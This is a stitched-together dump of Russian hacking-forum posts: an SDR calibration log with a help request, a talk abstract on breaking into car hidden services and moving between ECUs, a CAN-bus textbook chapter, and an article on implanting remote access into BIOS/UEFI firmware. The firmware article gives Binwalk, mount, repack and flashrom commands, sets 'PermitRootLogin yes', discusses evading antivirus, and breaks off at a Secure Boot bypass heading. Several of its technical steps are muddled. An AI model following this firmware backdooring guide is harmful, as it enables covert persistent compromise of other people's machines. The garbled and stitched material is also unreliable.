Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
TX corrections: 192.459 ms
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Rx calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
RX corrections: 218.617 ms

Done timing!

Spoiler: Вывод SoapySDRUtil --probe

######################################################

Soapy SDR -- the SDR abstraction library

######################################################

Probe device
[INFO] Make connection: 'LimeSDR-USB [USB 3.0] 90726074D3135'
[INFO] Reference clock 30.72 MHz
[INFO] Device name: LimeSDR-USB
[INFO] Reference: 30.72 MHz
[INFO] LMS7002M register cache: Disabled

----------------------------------------------------
-- Device identification
----------------------------------------------------
driver=FX3
hardware=LimeSDR-USB
boardSerialNumber=0x90726074d3135
firmwareVersion=4
gatewareVersion=2.23
hardwareVersion=4
protocolVersion=1

----------------------------------------------------
-- Peripheral summary
----------------------------------------------------
Channels: 2 Rx, 2 Tx
Timestamps: YES
Sensors: clock_locked, lms7_temp

----------------------------------------------------
-- RX Channel 0
----------------------------------------------------
Full-duplex: YES
Supports AGC: NO
Stream formats: CF32, CS12, CS16
Native format: CS16 [full-scale=32767]
Stream args:

----------------------------------------------------
-- RX Channel 1
----------------------------------------------------
Full-duplex: YES
Supports AGC: NO
Stream formats: CF32, CS12, CS16
Native format: CS16 [full-scale=32767]
Stream args:

----------------------------------------------------
-- TX Channel 0
----------------------------------------------------
Full-duplex: YES
Supports AGC: NO
Stream formats: CF32, CS12, CS16
Native format: CS16 [full-scale=32767]
Stream args:

----------------------------------------------------
-- TX Channel 1
----------------------------------------------------
Full-duplex: YES
Supports AGC: NO
Stream formats: CF32, CS12, CS16
Native format: CS16 [full-scale=32767]
Stream args:

Версия srsenb - 22.10.0

sudo srsepc

sudo srsenb

Получаю вот такую ошибку:

1678650927254.png

Помогите нубу, пожалуйста) Понятия не имею в чём может быть причина

[Off-By-One 2024] Unlocking Automotive Secrets - Strategies and Tool for accessing hidden services
ID: 676535aeb4103b69df37355b
Thread ID: 122000
Created: 2024-09-03T11:14:07+0000
Last Post: 2024-09-03T11:14:07+0000
Author: weaver
Prefix: Видео
Replies: 0 Views: 593

Description

During car hacking, the first consideration typically revolves around the manufacturer or Tier 1 provider’s hidden services. This spans from common engineer mode applications to deeply concealed mechanisms. However, due to regulatory requirements and increased manufacturer security awareness, high- level privilege hidden services have dramatically decreased. Through analyzing dozens of Intelligent Connected Vehicles, we’ve discovered new tactics for managing hidden services.

In this talk, we’ll demonstrate multiple methods to access hidden functions and thoroughly analyze underlying theories which involving both traditional and new era approaches. Once we understand the background mechanisms, we attempted to bypass security protections and share our journey, including some bypass skills. Such as use Fipper Zero crack the engineer mode pincode. Upon gaining access to hidden services, we’ll show how to leverage these functions to attain root privileges, execute lateral movement to other Electronic Control Units (ECUs), and gain control of the vehicle.

Lastly, I’ll introduce a self-developed graphical hacking tool designed to reveal hidden services. This tool extracts information from firmware and automatically generates a graphical representation of the hidden services relationships. By using this tool, we’ve successfully identified entry paths for many vehicles, including deeply hidden ones.

Click to expand...

https://offbyone.sg

Шина CAN Проект на Arduino Uno & Raspberry Pi
ID: 676535aeb4103b69df3735d3
Thread ID: 90608
Created: 2023-06-15T16:14:02+0000
Last Post: 2023-06-17T16:53:01+0000
Author: yashechka
Prefix: Статья
Replies: 4 Views: 589

1.1 Обзор

Современные автомобили представляют собой сложные машины, включающие механические и электронные части. В последние годы количество электронных компонентов, используемых в автомобилях, резко возросло. В результате повышения требований к безопасности, комфорту и производительности мы видим, что в современные автомобили добавляется гораздо больше электронных компонентов. Впредь возрастает потребность в соединении этих электронных компонентов таким образом, чтобы они могли надежно и безопасно взаимодействовать друг с другом в режиме реального времени.

В прошлом электронные блоки соединялись сложным образом, с сотнями проводов, идущих к различным частям автомобиля. Следовательно, было трудно отследить неисправность электроники. Между различными частями электроники отсутствовала координация, так как каждая электронно-электронная часть управлялась независимо от других. Обслуживание и ремонт электроники автомобиля были чрезвычайно сложными, так как во многих случаях было непросто найти и заменить неисправный компонент.

Безопасность пассажиров также стала одним из наиболее важных соображений в современных транспортных средствах. За последнее десятилетие оборудование для обеспечения безопасности эволюционировало и перешло от физической к электронной системе безопасности, начиная с технологий торможения, заканчивая защитой от столкновений и подушками безопасности, а в последнее время и системами помощи водителю, связанными с безопасностью. Новейшие современные автомобили — это умные и интеллектуальные машины, оснащенные множеством датчиков, которые могут оценивать окружающую среду и отображать для водителей полезную информацию, связанную с безопасностью. Эти датчики образуют интеллектуальные локальные сети вместе с исполнительными механизмами, дисплеями и быстрыми цифровыми процессорами, такими как высокоскоростные специализированные микроконтроллеры.

На рис. 1.1 показана традиционная электронная система автомобиля старого образца с датчиками и исполнительными механизмами, сложным образом взаимосвязанными друг с другом. Одной из основных проблем в этом типе дизайна является техническое обслуживание. Проводка была настолько сложной, что было почти невозможно отследить и устранить неисправности.

1686845473111.png

По мере увеличения сложности автомобильной электроники производителям стало сложно разрабатывать безопасные и надежные электронные системы на основе старых традиционных методов. Текущие требования не могут быть получены с помощью простого электронного блока управления. Решение состоит в том, чтобы соединить различные электронные модули в высокопроизводительную сеть. Вот почему возникла необходимость разработать сетевую электронную систему, в которой электронные модули можно легко подключить к сети, а затем управлять ими из центрального интеллектуального блока (например, блока управления двигателем). Результатом этого стал «интеллектуальный» автомобиль, в котором используется множество датчиков и исполнительных механизмов для восприятия окружающей среды и выполнения множества функций. Примером может служить автоматическое включение фар с наступлением темноты или при проезде автомобиля через туннель. Другой пример — автоматическая работа стеклоочистителей при начале дождя и так далее.

Одним из преимуществ сетевой электронной системы автомобиля является то, что относительно легко отследить и обнаружить неисправный модуль. Кроме того, проводка намного проще и проще в обслуживании. Например, связавшись с центральным блоком интеллектуального контроллера, можно сказать, исправна ли вся электронная система, а если нет, то можно легко обнаружить неисправные модули. Сетевая система также позволяет различным модулям на шине взаимодействовать друг с другом и при необходимости обмениваться информацией. Например, блок интеллектуального контроллера может получать значение температуры двигателя от модуля датчика температуры. Затем эта температура может отображаться на электронной приборной панели. Если температура слишком высока, соответствующие сообщения могут быть отправлены на ответственные части двигателя, и могут быть легко приняты корректирующие меры. На рис. 1.2 показано современное транспортное средство, в котором для соединения электронных модулей и управления ими используется электронная сетевая система.
1686845483584.png

В этой главе представлен обзор наиболее важных автомобильных сетевых систем, используемых в настоящее время в автомобилях. Кроме того, в нем представлена таблица для сравнения преимуществ и недостатков каждой системы.
**
1.2 Автомобильные сетевые системы**

Сетевые системы транспортных средств (или сети) были классифицированы в 1994 году Обществом автомобильных инженеров (SAE). В соответствии с этой классификацией шинные системы классифицировались на основе их пропускной способности (т. е. скорости передачи данных) и функций сетевой системы. Классификация делит шинные сети на четыре: класс A, класс B, класс C и класс D.

Сети класса А — это низкоскоростные и недорогие сети со скоростью передачи данных менее 10 кбит/с.
Эти системы в основном используются в кузове автомобиля.

Сети класса B работают на скоростях от 10 до 125 кбит/с и используются для обмена информацией, например, приборной панелью, скоростью автомобиля и т. д.

Сети класса C работают на скоростях от 125 до 1 Мбит/с и используются в самых разных приложениях, таких как управление двигателем.

Сети класса D работают со скоростью выше 1 Мбит/с и в основном используются в телематических приложениях.
Существует множество автомобильных сетевых систем (или шинных систем, поскольку автомобильные сети имеют форму шинных проводов), некоторые из которых разработаны производителями транспортных средств самостоятельно, а некоторые разработаны совместно с производителями полупроводников.

Популярные автомобильные сетевые системы включают:

• CAN шина
• LIN шина
• FlexRay
• MOST
• Byteᙃight
• DSI шина
• Intellibus
• SAE J1850
• BST шина
• NML шина

В этом разделе мы кратко рассмотрим наиболее часто используемые автомобильные сетевые системы, перечисленные ниже, и сосредоточимся на шине CAN, которая является темой этой книги.

**• LIN шина
• FlexRay
• MOST
• Byteflight
• Intellibus
• CAN шина

1.2.1 LIN-шина**

Шина Local Interconnect или «LIN» — это недорогая шина, работающая со скоростью 20 кбит/с, которая была разработана для создания стандарта недорогой связи начального уровня в автомобильной электронике. LIN вписывается в младшую часть автомобильных сетевых систем, что делает его экономически эффективным. Эта шина в основном используется для второстепенных функций кузова/комфорта. LIN — это однопроводная шинная система с одним главным и несколькими подчиненными устройствами. В типичном приложении ведущий передает сообщение с заголовком сообщения, запрашивая данные, а ведомый, у которого есть правильный заголовок сообщения, отправляет запрошенные данные, включая контрольную сумму для проверки ошибок. Типичные области применения шины LIN включают в себя управление небольшими двигателями стеклоочистителей, управление люком в крыше, управление обогревом, управление датчиками дождя, управление рулевым колесом, сиденьями, дверями и т. д., где не требуется широкая полоса пропускания. Шина LIN используется в приложениях, где реализация шины CAN была бы слишком дорогой. Первоначальная спецификация LIN была определена консорциумом, состоящим из BMW, Audi, Volvo, VW, Motorola, Volcano и DaimlerChrysler. Шина LIN основана на интерфейсе последовательной связи (UART) с 8-битными данными.
**
1.2.2 FlexRay**

По мере роста спроса на повышенную безопасность, повышенную производительность и повышенный комфорт возникает потребность в более сложных и совершенных электронных сетевых системах транспортных средств. FlexRay был первоначально разработан BMW и Daimler Chrysler в 1999 году как быстрая, эффективная и безошибочная автомобильная автобусная система. FlexRay подходит для высокоскоростных приложений реального времени, поскольку поддерживает пропускную способность до 10 Мбит/с. Могут использоваться как электрические, так и оптические среды передачи. FlexRay поддерживает одноканальные и двухканальные конфигурации, причем двухканальный вариант обеспечивает повышенную отказоустойчивость и увеличенную пропускную способность. Считается, что это следующий шаг после LIN и CAN, он в основном используется в критически важных с точки зрения безопасности приложениях и для управления высокоскоростным двигателем в режиме реального времени. Некоторые области применения FlexRay: управление двигателем, ABS, управление трансмиссией, управление тормозами, управление подвеской и т. д.

1.2.3 MOST

Шина Media Oriented Systems Transport (MOST) в основном используется в автомобильных телеметрических и мультимедийных приложениях, таких как управление звуком, видео, навигация, связь и т. д. Современные автомобильные системы включают в себя мультимедийные устройства, такие как проигрыватели DVD/CD, телевизоры, навигационные системы, графические дисплеи и мобильные компьютеры, для которых требуется очень высокая скорость передачи данных. Это достигается с помощью сети MOST. Первоначальная сеть MOST была разработана компаниями BMW и DaimlerChrysler в 1998 году.

MOST поддерживает до 64 устройств на шине с очень высокой пропускной способностью. Типичные скорости передачи данных составляют 28,8 Мбит/с в синхронном режиме и 14,4 Мбит/с в асинхронном режиме. В настоящее время в разработке находятся скорости до 50 Мбит/с и даже 150 Мбит/с. Для передачи данных используется оптическая среда, свободная от какого-либо электромагнитного излучения или помех.

1.2.4 Byteflight байтов

Byteflight была разработана BMW и предлагает пропускную способность 10 Мбит/с. Byteflight в основном используется в сетях, связанных с безопасностью, таких как автомобильные и авиационные системы (например, в автомобильных подушках безопасности, электронике кузова и т. д.). Чтобы быть безопасным, протокол данных должен быть отказоустойчивым и детерминированным. Механизмы управления данными до Byteflight контролировались либо событиями, либо временем. Управляемый событиями (например, CAN) передает данные только тогда, когда данные готовы или когда поступает запрос данных. Протоколы данных с контролем времени предоставляют время каждому узлу в соответствии с заранее определенной последовательностью. Количество передаваемых сообщений, как правило, не может быть изменено во время работы, поскольку количество выделенных временных интервалов фиксировано. Протокол Byteflight сочетает протоколы, управляемые событиями и временем, и гарантирует детерминированные задержки для определенного количества высокоприоритетных сообщений и гибкое использование пропускной способности для низкоприоритетных сообщений.
Первое использование Byteflight в массовом производстве было компанией BMW в их автомобилях Series-7 и в сетевом приложении пассивной безопасности. Byteflight поддерживает различные сетевые протоколы в среде со смешанной шиной.
**
1.2.5 Интеллибус**

Интеллибус — это высокоскоростная многоабонентская коммуникационная шина с пропускной способностью до 15 Мбит/с. Первоначально она была задумана компанией Boeing для уменьшения сложности проводки, связанной с распределенными системами в аэрокосмических приложениях. Это недорогая шина, позволяющая подключать большое количество датчиков, и она используется в основном для управления двигателем, трансмиссией и другими частями, требующими высокой скорости. Типичная сеть Intellibus состоит из контроллера сетевого интерфейса (NIC) и от 1 до 255 интерфейсных модулей Intellibus (IBIM), которые могут быть подключены к датчикам. Сетевую карту можно установить на ПК или другое электронное устройство. Обычно на сетевую карту загружается программное обеспечение для выборки данных из различных IBIM по расписанию через определенные промежутки времени. В сложной сети можно использовать две или более сетевых карт для увеличения пропускной способности узла. Для программирования NIC и IBIM доступно специальное программное обеспечение. Максимальная длина шины составляет 30 м (при 12,5 Мбит/с и 64 узлах). Intellibus используется в автомобильной электронике, управлении технологическими процессами, автоматизации, авионике, медицине и ряде других областей.

1.2.6 CAN-шина

Шина локальной сети контроллеров (CAN) является основным предметом этой книги. В этом разделе мы рассмотрим основные свойства этой шины. Подробное описание CAN-шины и проектов, связанных с CAN-шиной, представлено в остальных главах книги.

CAN — это последовательная двухпроводная многоканальная шина, разработанная Robert Bosch GmbH в 1980-х годах. На сегодняшний день это одна из наиболее широко используемых шин автомобильных электронных систем. Физический уровень CAN состоит из пары витых кабелей. CAN обеспечивает надежную, надежную и быструю связь со скоростью до 1 Мбит/с (при длине шины 40 м). CAN 2.0A — это исходная версия CAN, состоящая из полей:

• Бит начала кадра
• 18-битный заголовок (имеющий 11-битный идентификатор сообщения)
• 0-8 байт данных
• 15-битная проверка циклическим избыточным кодом (CRC)
• 3-битный слот подтверждения
• 7-битный конец кадра

Шина CAN основана на «механизме» CSMA/CR (множественный доступ с контролем несущей/разрешение конфликтов) для предотвращения коллизий кадров во время передачи по шине. Каждый узел CAN контролирует шину, и когда узел обнаруживает, что шина простаивает, он может начать передачу данных. Если другие узлы на шине попытаются одновременно отправить данные, произойдет арбитраж, и узел с наивысшим приоритетом (т. е. с наименьшим идентификатором сообщения) выиграет арбитраж и отправит свои собственные данные. Шина CAN имеет простой механизм обнаружения и устранения ошибок. Принимающие узлы проверяют целостность сообщений, просматривая поля CRC. Если обнаружена ошибка, другие узлы на шине информируются посредством сообщений с флагами ошибок. На рис. 1.3 показана типичная реализация шины CAN с двумя узлами, A и B. CAN — это сеть класса A/B.

Краткое описание характеристик шины CAN:

• Шина с несколькими ведущими, где каждый узел может быть ведущим
• Многоадресный прием
• Скорость до 1 Мбит/с
• Высокая надежность

1686845523294.png

1.2.7 Прочее

Другими стандартами автомобильных шин, которые следует упомянуть в этой главе, являются SAE J1850 (или просто J1850), разработанный в 1994 году, и шина MI (Motorola Interconnect). J1850 широко использовался в таких автомобилях, как GM, Chrysler и Ford, и эта шина используется для приложений диагностики и обмена данными. Существует две версии этого стандарта: PWM (широтно-импульсная модуляция) со скоростью 41,6 Кбит/с с использованием двухпроводного дифференциального физического уровня и VPW (переменная ширина импульса) со скоростью 10,4 Кбит/с с использованием однопроводного физического уровня. Два стандарта несовместимы друг с другом. Протокол J1850 основан на кадрах и использует арбитраж CSMA/CR, где кадр состоит из начала кадра, байта заголовка, байтов данных, однобайтового CRC и символа конца данных (низкий импульс длительностью 200 мкс). Большинство инструментов OBD (бортовая диагностика) поддерживают протокол J1850 для диагностических целей. Стандарт J1850 устарел, и его постепенно упраздняют. Стандарт J1850 представляет собой сеть класса B.

Шина MI представляет собой однопроводную шину с одним ведущим и несколькими ведомыми. Это недорогая шина с низкой скоростью передачи данных, которая в основном используется для управления сиденьями, зеркалами и т. д. Мастер — это контроллер, который отправляет адреса и данные всем ведомым устройствам на шине. Ведомые устройства с совпадающими адресами отвечают на запрос.
**
1.3 Сравнение автомобильных шинных систем**

В настоящее время одной из наиболее часто используемых шинных систем является шина CAN, которая может использоваться на скоростях до 1 Мбит/с.

Таблица 1.1 представляет собой сводку часто используемых автомобильных сетей (или шинных систем) со сравнением различных систем. Для каждой системы указаны класс, общая информация, пропускная способность и типичные области применения.

Как правило, шина LIN используется в низкоскоростной автоматике, такой как управление мотором стеклоочистителя, датчики дождя и т. д. CAN используется в управлении двигателем, сцеплением и так далее. FlexRay используется в очень высокопроизводительных и критически важных для безопасности приложениях. Это относительно новая конструкция шины, и мы надеемся, что она станет автомобильным стандартом будущего. MOST обычно используется в автомобильных мультимедийных и навигационных приложениях. Эта шина построена на оптической основе и устойчива к электрическим помехам. Byteflight — это также новая автомобильная сетевая система, которая хорошо подходит для критически важных для безопасности приложений в режиме реального времени, таких как управление подушками безопасности. Byteflight основана на волоконной оптике и поэтому гораздо более устойчива к электромагнитному излучению и электрическим помехам. Intellibus, наконец, предлагает высокую пропускную способность и в основном используется в аэрокосмических приложениях. Это не так безопасно и надежно, как Byteflight.

1686845541098.png

На рис. 1.4 и рис. 1.5 показаны примеры легковых автомобилей, в которых используется несколько шинных систем На рис. 1.4 шина CAN показана в левой части рисунка и подключена к приборам, климат-контролю, фарам, рулевому колесу, силовой передаче и системе блокировки. Шина MOST показана в нижней левой части рисунка и подключена к мультимедийному оборудованию, такому как динамики, цифровое радио, автомобильный компьютер и навигационное оборудование. В этом конкретном приложении FlexRay можно увидеть в правом нижнем углу рисунка, подключенный к двигателю, системе рулевого управления и тормозам. Диагностический прибор, подключенный к шине CAN в правом нижнем углу изображения, используется для проверки состояния автомобиля.

На рис. 1.5 фары, кондиционер, стеклоочистители, двери и окна управляются по шине LIN, а FlexRay управляет тормозами. Большинство других частей автомобиля управляются шиной CAN.

1686845550493.png

1686845571998.png

Сегодня более 20 производителей полупроводников выпускают устройства с интерфейсами CAN. Практически все новые легковые автомобили, выпускаемые в Европе и на Дальнем Востоке, оснащены хотя бы одной сетью CAN. CAN является одним из наиболее распространенных протоколов шины, используемых в легковых автомобилях. С 2000 года использование CAN в транспортных средствах быстро увеличилось с примерно 120 миллионов устройств CAN до примерно 800 миллионов устройств в 2007 году. В настоящее время эта цифра превышает десятки миллиардов устройств.

CAN и основанные на CAN протоколы более высокого уровня, такие как CANopen и DeviceNet, получают все более широкое признание среди производителей в Северной Америке, и ожидается, что эти протоколы будут широко распространены на большинстве рынков промышленной и коммерческой автоматизации. В частности, CAN будет использоваться в следующих разнообразных приложениях в течение следующих пяти-десяти лет:

•Легковые автомобили
•Автобусов
•Поездов
•Морской электроника
•Авиационная электронике
•Заводской автоматизации
•Лифтов
•Медицинском оборудовании
•Программируемых контроллеров машин
•Домашних развлекательных систем
•Бытовой технике
•Военное применение
•Космических приложения

Интересное и важное применение шины CAN почти наверняка будет в медицинской промышленности. Медицинское оборудование и устройства, такие как рентгеновские аппараты, ультразвуковые аппараты, аппараты лучевой терапии, компьютерные томографы, аппараты МРТ и т. д., могут быть спроектированы и разработаны с использованием шины CAN для своих внутренних коммуникационных структур. Такой подход упростит конструкцию машин, а также повысит их безопасность и надежность, а также упростит техническое обслуживание.
**
1.4 Базовая структура автомобильной системы шины CAN**

Стоит взглянуть на базовую структуру автомобильной системы на основе шины CAN, прежде чем углубляться в детали и теорию протокола CAN и электроники.

С развитием шины CAN были достигнуты значительные успехи как в надежности, так и в безопасности автомобильной электроники. Как показано на рис. 1.6, в автомобиле с шиной CAN все блоки соединены друг с другом по двухпроводной шинной системе. Как вы узнаете более подробно из последующих глав, два провода шины называются CAN_LO и CAN_HI. Существует полная координация между всеми блоками, а ECU (блок управления двигателем) отвечает за управление каждым блоком, следя за тем, чтобы все блоки работали должным образом. На рис. 1.6 блоки в верхней части рисунка критичны ко времени и требуют высокого приоритета. Точно так же устройства в нижней части рисунка являются низкоскоростными некритическими устройствами, требующими более низких приоритетов.

Полную проводку и состояние автомобиля можно контролировать и опрашивать, подключив диагностический прибор через диагностический разъем, расположенный на двигателе. Этим инструментом может быть ноутбук со специальным программным обеспечением, разработанным производителем, или специальное ручное диагностическое устройство, которое можно использовать для прямой связи с ЭБУ. С помощью этого инструмента и с помощью ЭБУ можно получить информацию о состоянии каждого агрегата автомобиля. Например, мы можем легко опросить модуль подушки безопасности и проверить, правильно ли он работает.

CAN представляет собой двухпроводную шинную систему (см. рис. 1.7) с резистивными разъемами на каждом конце шины. Все блоки (или узлы, или CAN- станции) жестко подключаются к шине с помощью CAN-коннекторов (например, T-коннекторов, End-коннекторов и т. д.).

1686845590082.png

Как правило, информация поступает от различных датчиков (например, датчика температуры двигателя), расположенных в различных частях автомобиля. Как показано на рисунке 1.8, информация датчика затем передается на микроконтроллер, а затем на шину CAN через контроллер CAN и приемопередатчик. Функция приемопередатчика CAN заключается в физическом подключении к фактической шине CAN для обмена данными по шине. Контроллер CAN находится под управлением микроконтроллера и выполняет определенные функции протокола CAN.

1686845598176.png

1686845607950.png

Типичный ЭБУ показан на рис. 1.9. Этот ECU подходит для двигателей автомобилей с числом цилиндров до 6

На рис. 1.10 схематически показано, как ЭБУ (в центре рисунка) может быть подключен к другим частям автомобиля. Порт с надписью «Диагностика» используется для OBD (бортовой диагностики), где ручной терминал (сканер) или портативный компьютер может быть подключен с помощью специального разъема, и общее «здоровье» автомобиля может быть легко быть осмотрены.
1686845616727.png

1.5 Преимущества шины CAN
Основные преимущества шины CAN можно резюмировать следующим образом:
**
• Низкая сложность проводки
• Простая в управлении шина с витой парой
• Новые узлы можно легко добавлять и удалять
• Поломка узла не влияет на другие узлы в системе.
• Централизованное управление
• Все устройства на шине могут прочитать одно и то же сообщение
• Отказоустойчивость к электромагнитному излучению
• Эффективно справляется с ошибками
• Простота диагностики и обслуживания

1.6 Недостатки шины CAN**

К недостаткам шины CAN можно отнести:

• скорость передачи данных может быть низкой в некоторых приложениях (ограничена 1 Мбит/с);
• дорого реализовать, так как требуются специальные контроллеры;
• полное отключение системы при повреждении основного магистрального провода CAN.
**
1.7 Основные свойства шины CAN**

Шина CAN в настоящее время используется во многих различных областях, от легковых автомобилей до морской электроники, медицинской электроники, авиационной электроники и так далее. Причиной широкого признания шины CAN, возможно, является ее высокая производительность, помимо надежности, надежности и безопасности. Основные свойства шины CAN можно резюмировать ниже (детали этих свойств будут рассмотрены в следующих главах):
**
• Двухпроводная витая шина
• Оконечная нагрузка шины с резисторами на каждом конце
• Скорость на шине до 1 Мбит/с (при длине шины 40 м). Более высокие скорости передачи данных при меньшей длине шины
• Передача до 8 байт данных в любое время
• Сообщения, отправленные и полученные в виде кадров по четко определенному надежному протоколу
• Приоритетный доступ к шине с несколькими мастерами
• Любой узел может передавать, пока другие узлы слушают
• Арбитраж шины, если два или более узла пытаются передать данные одновременно.
• Передача сообщений широковещательного типа, при которой все узлы могут получать одно и то же сообщение.
• Нет адресов узлов. Узлы принимают или отклоняют данные на шине на основе фильтрации приема сообщений.
• Удаленный запрос данных, когда узел может запрашивать данные у другого узла.
• Обнаружение ошибок и сигнализация
• Автоматическая повторная передача сообщений, если передача не удалась (из-за арбитража шины)
• Автоматическая деактивация узлов, в которых постоянно возникают ошибки.

1.8 CANopen**

CANopen — это высокоуровневый коммуникационный протокол и спецификация, основанная на более раннем протоколе CAN. CANopen был разработан для автомобильной промышленности, чтобы упростить и стандартизировать связь между различными устройствами, разработанными разными производителями. Хотя изначально он был разработан для автомобильной промышленности, он использовался в широком спектре других отраслей.

Некоторые особенности CANopen:

• До 128 узлов в одной сети CAN
• Архитектура с несколькими мастерами
• Длина шины до 5 км (сниженный битрейт на больших участках)
• Легкий высокоуровневый доступ ко всем устройствам
• Смесительные устройства разных производителей (независимость производителя)
• Синхронизация устройств
• Высокая надежность

Хотя CANopen обеспечивает управление сетью и независимость от производителя сети CAN, у него также есть недостаток, заключающийся в уменьшении пропускной способности.

Binwalk и модификация прошивки ПК для подключения удалённого доступа
ID: 676535aeb4103b69df373546
Thread ID: 127048
Created: 2024-11-16T21:36:42+0000
Last Post: 2024-11-18T08:26:26+0000
Author: BERX
Prefix: Статья
Replies: 3 Views: 589

Модификация прошивки — это один из самых сложных и интересных аспектов реверс- инжиниринга. В этой статье мы рассмотрим, как с помощью Binwalk можно проанализировать и модифицировать прошивку ПК, например, BIOS или UEFI, с целью добавления возможности удалённого доступа. Мы научимся использовать Binwalk для извлечения данных, анализа структуры прошивки и внедрения функционала для удалённого управления системой, а также разберемся, как такие изменения могут быть обнаружены антивирусами и как минимизировать риски.

**Что такое Binwalk?

![](/proxy.php?image=https%3A%2F%2Fwww.kali.org%2Ftools%2Fbinwalk%2Fimages%2Fbinwalk- logo.svg&hash=f0d3014b2b2c39e765615e18b627b92b)**​

Binwalk — это инструмент для анализа бинарных файлов, предназначенный для реверс-инжиниринга и исследования структуры прошивок, образов дисков и других бинарных данных. Binwalk позволяет исследовать содержимое прошивки, извлекать её компоненты, находить скрытые данные и модифицировать её, добавляя новые функции. В данном контексте мы будем использовать его для анализа прошивки BIOS или UEFI ПК с целью внедрения удалённого доступа.

Цель этой статьи — проанализировать прошивку BIOS/UEFI ПК, извлечь из неё содержимое, найти уязвимые места и модифицировать прошивку с добавлением функционала для удалённого доступа, например, через SSH или RDP. Далее мы рассмотрим, как внедрение таких изменений может быть обнаружено антивирусными системами, и что можно сделать для минимизации этих рисков.

Шаг 1: Сканирование прошивки с помощью Binwalk

Начнём с анализа файла прошивки с помощью Binwalk. Допустим, у нас есть образ прошивки BIOS или UEFI, назовём его bios_firmware.bin. Для того чтобы извлечь из него данные и понять его структуру, нужно выполнить простое сканирование:

Code:Copy to clipboard

binwalk bios_firmware.bin

Результат может быть следующим:

Code:Copy to clipboard

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             BIOS/UEFI firmware header
32768         0x8000          LZMA compressed data
1048576       0x100000        UEFI FAT filesystem, little endian
2097152       0x200000        LZMA compressed data


Из этого вывода мы видим, что прошивка состоит из:
BIOS/UEFI header — заголовок прошивки, в котором содержатся метаданные.
LZMA compressed data — сжаты данные, возможно, драйвера или другие компоненты прошивки.
UEFI FAT filesystem — файловая система UEFI, содержащая все конфигурации и исполнимые файлы.

Шаг 2: Извлечение файловой системы

Зная, что прошивка содержит файловую систему UEFI, мы можем извлечь её содержимое с помощью Binwalk. Запустим команду:

Code:Copy to clipboard

binwalk -e bios_firmware.bin

Binwalk создаст папку _bios_firmware.bin.extracted, в которой будет лежать файл с файловой системой, например, 100000.uefi. Теперь нам нужно извлечь содержимое этой файловой системы. Это можно сделать, например, с помощью команды mount для Linux:

Code:Copy to clipboard

mount -o loop _bios_firmware.bin.extracted/100000.uefi /mnt

Теперь мы можем исследовать содержимое файловой системы, которое может включать как конфигурационные файлы, так и исполнимые файлы прошивки.

Шаг 3: Поиск конфигурационных файлов и кода

После того как мы извлекли файловую систему, необходимо изучить её на наличие конфигурационных файлов и исполнимого кода, который может быть использован для внедрения функционала удалённого доступа. Мы ищем файлы с расширением .efi, так как они представляют собой исполнимые файлы, которые могут быть частью процесса загрузки.

Для этого используем команду find:

Code:Copy to clipboard

find /mnt -name "*.efi"

Если в прошивке присутствуют файлы с расширением .efi, это означает, что мы можем изменить их или добавить новые компоненты для реализации удалённого доступа.

Шаг 4: Внедрение удалённого доступа через SSH или RDP

Теперь давайте рассмотрим два способа внедрения удалённого доступа в прошивку: через SSH или RDP.

Включение SSH в UEFI:​

Добавление SSH сервера : Для этого нужно скачать и встроить в прошивку минимальную версию OpenSSH, которая будет работать в среде UEFI.
Конфигурация SSH : В файл конфигурации sshd_config можно добавить необходимые параметры для разрешения авторизации по паролю и доступа по сети:

Code:Copy to clipboard

PermitRootLogin yes
PasswordAuthentication yes

Автоматический запуск SSH-сервера : Мы можем добавить команду для автоматического старта SSH-сервера в скрипт загрузки, например, в /etc/rc.local или аналогичный файл.

**Включение RDP

Установка RDP-сервера**: Можно добавить минимальный RDP-сервер в прошивку, используя аналогичный подход, как и для SSH, скачав бинарники и добавив их в файловую систему прошивки.
Конфигурация RDP : Мы должны настроить параметры авторизации и управление доступом, чтобы подключение через RDP было возможно.

Шаг 5: Сборка и запись модифицированной прошивки

После внесения всех изменений необходимо собрать прошивку обратно в единый файл и записать его на устройство.

Для начала сжимаем изменения в новый образ прошивки:

Code:Copy to clipboard

mksquashfs /mnt/ new_bios_squashfs.squashfs -comp lzma

Затем собираем финальный образ прошивки, включая новый сжатый образ:

Code:Copy to clipboard

cat bios_firmware.bin.extracted/bootloader.bin new_bios_squashfs.squashfs > modified_bios_firmware.bin

Записываем модифицированную прошивку на устройство через утилиты, такие как flashrom, или используем интерфейсы для записи прошивки в BIOS или UEFI.

Шаг 6: Обход Secure Boot

